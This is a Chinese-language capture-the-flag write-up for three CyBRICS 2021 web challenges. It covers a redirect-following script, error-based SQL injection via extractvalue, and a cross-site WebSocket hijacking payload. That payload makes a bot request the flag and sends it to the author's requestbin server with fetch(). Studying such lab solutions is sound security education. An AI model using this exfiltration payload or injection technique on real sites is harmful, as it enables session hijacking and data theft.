0%

CyBRICS2021 wp

CyBRICS2021 wp

除了那个没太看懂怎么回事的0解题,剩下的题目都挺简单的,很适合我这种萌新去做

Ad Network

就是简单的跟随重定向就行了,跟1337次后得到flag但是他的服务器似乎有点土豆,所以直接写个脚本然后访问的话基本上重定向个一二十次就断了,浏览器访问当然是直接重定向过多,所以不跟重定向然后自己每次重新访问重定向的内容就行

import requests

url = "http://adnetwork-cybrics2021.ctf.su/adnetwork"
cnt = 0


while cnt <= 1337:
    try:
        response = requests.get(url, allow_redirects=False, timeout=2)
        cnt += 1
        if response.status_code > 300:
            print(response.headers['Location'])
            url = response.headers['Location']
        else:
            print(response.text)
    except Exception as e:
        print(e)

ans = "http://tend.adnetwork-cybrics2021.ctf.su/military-front-low/learn-fill-though-factor-line/hear-hundred-subject-wind/enough-lot-tree-will-color"

我的队友却极其玄幻的有一个人一次都没timeout直接访问到底通了。。。是我太弱了吗

Announcement

这个题也挺简单的,整个就一个功能点,让你填一个邮箱,然后填的邮箱会回显在页面上但不知道为什么我第一反应不是ssti而是SQL注入,抓包看了一眼,除了提交的邮箱外还有一个sign,邮箱的格式是前端校验的,所以没有用,翻了一下页面上的js,找到了sign的内容就是提交的邮箱的md5。加个引号试一下之后直接报错
是insert语句,但是无过滤,直接按报错注入extractvalue打就行了,随便打

这里由于我是SQL注入垃圾,忘了extractvalue的用法,extractvalue(1,concat('~',(查询语句))),一定要用concat拼一个废字符上去,这样子才能保证解析错误进行报错,之前忘了要拼这个垃圾,注了半天一直显示结果是空,给我打懵了。。。

Multichat

这个题也不难,不过有一点点意思。
功能点就两个,一个是加入聊天室,输入一个id然后连进去,另一个是向技术人员举报,技术人员(bot)就会访问你的链接,bot和admin在同一聊天室内,如果bot给admin发一句”Hey, i forgot the flag. Can you remind me?”,admin就会给bot回flag
听起来就是一个csrf,不过我们总是需要考虑跨域的情况,跨域csrf之后能拿到回显吗?同源策略总是无敌的

简单测试了一下发现,点击加入聊天室后会向ws路由发一个请求,cookie的值就是房间号,然后我们就会和远端建立一个websocket连接,确实这很合理,聊天室这种事情的实现就是websocket比较好。
那么攻击思路就应该是让bot去建立一个websocket,然后往websocket里面去写上述消息,admin就会回我们flag了
暂时没有了解过websocket的服务端实现,但是这里应该是根据cookie的room值来管理的,所以应该是csrf bot,让他直接带上他的cookie发起一个websocket连接,然后往连接里面写东西就行了,直接看题目的代码或者翻翻MDN就能简单的了解到websocket client怎么写,再本地调试一下就通了

<script>
    let conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws");
    conn.onclose = function (evt) {
        if (evt.code === 1003) {
             console.log(`Status: ${evt.reason}`);
        } else {
            console.log("Connection closed.");
        }
    };
    conn.onopen = function (evt) {
        console.log("Connected");
        conn.send("Hey, i forgot the flag. Can you remind me?");
        console.log("send");
    };
    conn.onmessage = function (evt) {
        console.log(evt.data);
        fetch("http://requestbin.z3ratu1.cn/?"+evt.data);
    };
    conn.onerror = function (evt) {
        console.log(evt.data)
    }
</script>

成功收到flag

这里其实有一个点我比较疑惑,就是我是用websocket的协议去进行连接的,不知道这个协议受不受samesite的影响,抓包的时候发现发起websocket连接的时候是发出去的一个GET请求,不过理论上来说,这种没有进行顶级导航跳转的GET请求应该算是cross-site的?又想起了samesite的定义,普通的samesite只需要顶级有效域名+1相同即可认为是samesite,不考虑协议和端口,那这里协议切换成了ws并不影响其他的判断,就从域名上看是显然跨域了的。并且后来还翻到一篇文章提到schemeful samesite,认为协议不同即为cross site,不过http->ws,https->wss不算cross site。不过就这题而言无论怎么说都是跨域了的
上网暴查一通,得到一个结论,websocket在建立连接时需要使用HTTP协议

那这就更合理了,websocket在建立连接的时候是发送了一个带有指明这是一个websocket连接请求的请求头的HTTP请求,这个HTTP请求是以GET形式发出去的,通过burp抓包可以看见,然后服务端回一个101状态码表示变更协议,然后双方就建立起websocket连接了

那么这种GET请求应该是cross-site的,那么理论上不会携带cookie,本地Chrome复现也是如此,但是用Firefox却能抓到携带cookie的包,成功打通。
真玄幻啊,虽说websocket的连接请求和其他请求并不是很一致,但是在表现上还是一个GET请求啊?为什么你能发跨域cookie出去?

update

早上起来专门下了个Firefox试了一下,好像Firefox在samesite为空时的默认值是none,随便整个img链接都能把cookie发出去。。。而Chrome默认是lax的,所以不会发cookie,那么出题人后端bot应该是用的Firefox的浏览器咯?不过百度的结果其实都是说Chrome和Firefox在20年就已经把samesite的默认值为lax了,而我昨天刚下的Firefox还是none。。。。。不科学